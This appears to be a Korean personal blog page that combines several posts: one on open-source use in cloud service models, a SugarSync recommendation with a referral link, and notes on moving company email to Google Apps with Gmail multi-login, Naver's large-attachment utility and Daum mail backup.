그럼 오픈소스는 클라우드 컴퓨팅의 어디에 사용되고 있을까요?

클라우드 서비스를 구축하기 위한 구축비용을 최소화 할 수 있는 유일한 대안은 오픈소스이며, 이미 다양한 분야에서 오픈소스 기술들이 적용되고 있습니다. 해외의 경우 클라우드 컴퓨팅 서비스 모델에 따라서 구분해보면 다음과 같이 적용되어 있습니다.

SaaS(Software as a Service)
구글앱스 
RedHat Jboss Application Server, Apache Geronimo, IBM WebSphere 등

PaaS(Platform as a Service)
구글앱엔진(GAE)이 대표적입니다. 구글앱엔진은 Python 애플리케이션을 위한 툴을 제공
구글 쿼리 랭귀지(GQL)를 사용해 지속적으로 데이터를 저장하고 관리하기 위한 Python API를 제공.

IaaS(Infrastructure as a Service) 
상업적으로 가장 잘 알려진 아마존 EC2는 특별한 가상화머신(OS와 애플리케이션 조합)을 지정할 수 있으며 이 가상화 머신 상에서 애플리케이션을 개발할 수 있습니다. 유칼립투스(Eucalyptus)는 아마존 EC2를 오픈소스로 실행한 것이며, EC2와 유칼립투스는 OS가상화를 위해 젠(Xen)과 함께 리눅스에 의존하고 있습니다.



아래 자료는 저희 회사의 직원들에게 클라우드 컴퓨팅이란 무엇인지 설명하기 위한 목적으로 작성된 자료입니다.






PC, 휴대폰, 아이패드, 갤럭시탭 등 다양한 기기를 같이 사용하는 분이 많아지면서, 점점 어디서나 자신의 하드디스크처럼 사용가능한 저장공간이 필요하게 되었습니다. 저도 비슷한 고민때문에 몇가지의 서비스를 사용해보았지만 어떤것은 용량이 너무적고, 어떤것은 용량은 많이 주는데 안정성이 떨어지고.. 선택하기가 힘들더군요.
그래서 제가 지금 사용중인 서비스를 알려드릴까 합니다.

SugarSync는
Dropbox와 같은 방식으로 작동되며 5G용량은 무료로 사용가능합니다.(Dropbox는 2G까지 무료죠)
윈도우용 탐색기도 지원되고, 모바일용 클라이언트들도 다양하게 지원됩니다.

SugarSync는 이전의 다른 서비스를 벤치마킹하고 내놓은 서비스이기 때문에, 타 서비스의 장점들을 많이 배워서 출시한 서비스입니다. (비교자료 : https://www.sugarsync.com/sync_comparison.html )


 기기간의 파일공유를 고민하신다면 SugarSync를 사용해 보시는게 어떨까요?

가입하기 : http://goo.gl/1RLdL
(이 링크로 가입하시면 가입하시는분과 저에게 500M용량을 추가로 줍니다.)








동영상 소개


모바일환경에서의 장점에 대해서는 도아님의 http://offree.net/entry/SugarSync-Review-1 를 참고하세요
회사의 메일서비스를 이전하게 되어서 이번기회에 Google Apps로 이전시키기로 결정하였습니다.

우선 내부 사용자를 대상으로 
Google Apps가 어떤것인지, 왜 바꾸려고 하는지 설명할 필요가 생겼죠.

그래서 Prezi를 이용해서 설명자료를 만들었는데, 급조하다보니 마음에 안드는 상태입니다.
그러나 업데이트는 하기엔 귀차니즘이 ㅎㅎ

도움이 되시는 분이 혹시 있을까 싶어서 공유합니다.




Google Apps 이해하기

아래 내용은 Prezi로 만든 Google Apps 설명자료입니다.
주요 사용서비스는 이메일 이라서, 지메일의 특징들만 뽑아서 설명하는 형식으로 만들었습니다.
Google Apps on Prezi


두개이상의 지메일 계정 사용하기

저는 원래 지메일을 사용하던 계정이 있으니까 두가지의 방식중 선택을 해야 합니다.

1) 업무용메일계정을 개인메일로 가져오는 방식
2) 개인메일을 업무용메일로 가져오는방식

음..실컷 이렇게 여러계정의 이용방법에 대해서 고민했더니, 
이런게 있습니다 ㅡ.ㅡ 

멀티 로그인 기능을 이용하시면 아래처럼 그냥 두개의 계정을 사용할 수 있네요
다른 지메일 계정 추가 : http://goo.gl/tychR



대용량 파일첨부 메일발송

그래도 한가지 문제가 남았죠
업무용 메일에 대한 백업과, 대량파일첨부 메일발송을 쉽게하는 방법입니다.

대용량 첨부파일을 발송하는 부분은 네이버메일을 사용하기로 결정

- DropBox를 이용하는 방법도 있지만, 네이버의 유틸리티(http://goo.gl/MKkXf)를 설치하면 마우스오른쪽 버튼메뉴(컨텍스트메뉴)로 바로 메일을 보낼 수 있습니다. 
- 이때 회신받을 메일주소를 업무용메일주소로 해두신다면 보내는건 네이버메일을 사용해서 보내지만 받는건 업무용 메일에서 받으실 수 있겠죠

네이버의 유틸리티 다운로드 : http://goo.gl/MKkXf



이제 대용량메일의 발송도, 업무용메일과 개인메일의 사용도, 메일을 백업하기 위한 방법(Daum 메일계정으로 pop3로 가져오기를 설정)도 설정이 끝났습니다

데스크탑에 구글토크(http://www.google.com/talk/intl/ko/)를 다운로드 받아서 설치하시면, 실시간 메일확인 및 업무용메신져로 사용가능합니다.

구글토크 다운로드 : http://www.google.com/talk/intl/ko/


개인 지메일 필터설정 백업 : 

+ Recent posts